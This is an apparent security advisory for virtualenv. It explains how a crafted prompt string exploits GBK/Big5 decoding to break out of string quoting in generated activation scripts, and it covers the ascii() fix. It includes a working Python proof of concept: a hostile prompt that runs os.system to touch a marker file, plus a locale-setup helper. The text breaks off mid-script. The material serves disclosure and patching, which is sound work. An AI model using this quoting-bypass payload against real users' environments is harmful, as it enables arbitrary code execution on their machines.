PyPI · virtualenv
virtualenv: Xonsh activation literals depend on the script decoding codec
Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment.
Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure through unrelated activators.
The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script.
The relevant 21.14.8 source is in xonsh quote(), UTF-8 template writer.
The generator writes activate.xsh as UTF-8. Its quote() used repr(), which leaves printable non-ASCII characters
in the file and backslash-escapes an embedded quote. Xonsh's source reads the file using $XONSH_ENCODING. With GBK
or Big5, the UTF-8 bytes of 中 end in 0xad, which pairs with the following 0x5c backslash as one decoded character.
The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal
and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.
The original scanner finding, ANT-2026-PAUVP7YL, demonstrated this byte-level failure in activate_this.py: a hostile
prompt loaded through exec(open(file).read(), ...) under GBK created a marker, while UTF-8 and runpy.run_path
controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.
PR #3432 shows the xonsh source-decoding chain and changes quote() to
ascii(), which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,
decodes it as GBK, and checks that ast.literal_eval returns the original prompt.
The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of
the generated file. The original activate_this.py reproducer does not itself prove xonsh execution; that result is
attributed to the separate review. Existing activate.xsh files must be regenerated after the fix.
sequenceDiagram
participant A as Prompt supplier
participant V as virtualenv quote()
participant F as activate.xsh bytes
participant X as xonsh source
A->>V: 中 plus escaped quote and statements
V->>F: repr writes UTF-8 中 followed by backslash
alt XONSH_ENCODING is UTF-8
F->>X: backslash remains an escape
X-->>A: prompt remains data
else XONSH_ENCODING is GBK or Big5
F->>X: decoder consumes backslash as trail byte
X->>X: quote closes and statements run
end
Note over V,X: ascii() emits only ASCII bytes and preserves the literal
The following files are from the scanner report for ANT-2026-PAUVP7YL. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree
work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"
# set up: a zh_CN.GBK locale, which the image does not ship
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}
# attacker: text that a tool relays as --prompt
# the payload's " makes repr() delimit with ' and write the prompt's own ' as \'
# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"
# user: creates the environment with the virtualenv command
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}")
print(f"activate_this.py read as GBK: {prompt_line.decode('gbk')}")
assert not marker.exists(), "payload ran at creation time"
# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")
observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
ran_in_gbk_session = marker.exists()
print(f"OBSERVED GBK session: {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")
# check: the prompt is data and must not run in either session
print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK")
repro.d/activate_with_exec_open.py
#!/usr/bin/env python3
# usage: activate_with_exec_open.py ENV_DIR
# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.
import locale
import os
import sys
this_file = os.path.join(sys.argv[1], "bin", "activate_this.py")
exec(open(this_file).read(), {"__file__": this_file})
print(f"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}")
repro.d/install_gbk_locale.py
#!/usr/bin/env python3
# usage: install_gbk_locale.py LOCPATH
# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.
import os
import subprocess
import sys
locpath = sys.argv[1]
os.makedirs(locpath)
charmap = ["<code_set_name> GBK", "<comment_char> %", "<escape_char> /", "<mb_cur_min> 1", "<mb_cur_max> 2", "CHARMAP"]
charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)]
for lead in range(0x81, 0xFF):
for trail in range(0x40, 0xFF):
try:
char = bytes([lead, trail]).decode("gbk")
except UnicodeDecodeError:
continue
charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}")
charmap.append("END CHARMAP")
with open(f"{locpath}/GBK.charmap", "w") as charmap_file:
charmap_file.write("\n".join(charmap) + "\n")
# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below
source = "/tmp/repro.d/zh_CN_minimal.locale"
subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zh_CN.GBK"], capture_output=True)
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": locpath}
codeset = subprocess.run(["locale", "charmap"], env=gbk_session, capture_output=True, text=True, check=True)
if codeset.stdout.strip() != "GBK" or codeset.stderr:
sy
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